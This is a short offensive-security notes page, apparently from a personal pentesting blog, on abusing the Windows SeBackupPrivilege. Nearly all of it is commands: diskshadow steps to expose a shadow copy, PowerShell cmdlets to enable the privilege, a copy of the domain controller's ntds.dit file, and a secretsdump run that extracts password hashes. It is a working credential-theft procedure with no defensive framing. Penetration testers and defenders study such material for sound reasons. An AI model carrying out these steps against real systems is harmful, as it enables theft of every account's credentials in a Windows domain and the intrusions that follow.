> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/privilege-escalation/sebackupprivilege.md).

# SeBackupPrivilege

[
](<https://github.com/giuliano108/SeBackupPrivilege&#xD;&#xA;&#xD;&#xA;>)Create a shadow copy and expose it as a network share.

```bash
diskshadow.exe
set context persistent nowriters
add volume C: alias morph3
create
expose %morph3% G:
```

Diskshadow\.exe puts you into an interactive session so If the commands above doesn't work, don't forget to add ; after the commands.<br>

To abuse my SeBackupPrivilege privilege, use the dll below and enable your privilege.

* [https://github.com/giuliano108/SeBackupPrivile](<https://github.com/giuliano108/SeBackupPrivilege&#xD;&#xA;&#xD;&#xA;>)

```bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
```

After that you can copy the secret files,

```bash
Copy-FileSeBackupPrivilege <source> <target>
Copy-FileSeBackupPrivilege G:\windows\NTDS\ntds.dit c:\windows\temp\ntds.dit
```

And you can dump the hashes locally

```bash
python secretsdump.py -system ./SYSTEM -ntds ./ntds.dit LOCAL

```